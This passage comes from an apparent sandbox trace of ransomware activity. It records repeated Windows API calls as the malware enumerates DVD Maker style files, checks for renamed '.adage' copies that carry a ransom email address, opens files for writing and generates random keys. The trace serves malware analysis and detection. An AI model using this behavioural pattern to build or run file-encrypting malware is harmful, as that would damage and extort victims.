maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.288] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.288] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1545) returned 1 [0057.288] CloseHandle (hObject=0x174) returned 1 [0057.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0057.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.289] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.289] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=9115) returned 1 [0057.289] CloseHandle (hObject=0x174) returned 1 [0057.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0057.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.289] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.719] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1369) returned 1 [0057.719] CloseHandle (hObject=0x1a8) returned 1 [0057.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0057.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.719] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.720] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4726) returned 1 [0057.720] CloseHandle (hObject=0x18c) returned 1 [0057.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0057.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.720] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.721] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=27281) returned 1 [0057.721] CloseHandle (hObject=0x18c) returned 1 [0057.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0057.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.721] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.722] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3878) returned 1 [0057.722] CloseHandle (hObject=0x18c) returned 1 [0057.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0057.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.723] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.723] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5059) returned 1 [0057.723] CloseHandle (hObject=0x18c) returned 1 [0057.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0057.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.723] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.724] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=27281) returned 1 [0057.724] CloseHandle (hObject=0x18c) returned 1 [0057.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0057.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.724] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.724] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0057.724] CloseHandle (hObject=0x18c) returned 1 [0057.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0057.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.725] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.725] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3878) returned 1 [0057.725] CloseHandle (hObject=0x18c) returned 1 [0057.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0057.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.725] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.726] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3215) returned 1 [0057.726] CloseHandle (hObject=0x18c) returned 1 [0057.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0057.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.727] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.727] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5059) returned 1 [0057.727] CloseHandle (hObject=0x18c) returned 1 [0057.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0057.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.727] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.727] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0057.728] CloseHandle (hObject=0x18c) returned 1 [0057.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0057.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.728] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.728] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=23711) returned 1 [0057.728] CloseHandle (hObject=0x18c) returned 1 [0057.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0057.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.729] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.730] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4570) returned 1 [0057.730] CloseHandle (hObject=0x18c) returned 1 [0057.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0057.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.731] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.731] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2820) returned 1 [0057.731] CloseHandle (hObject=0x1a8) returned 1 [0057.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0057.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.732] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.733] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5088) 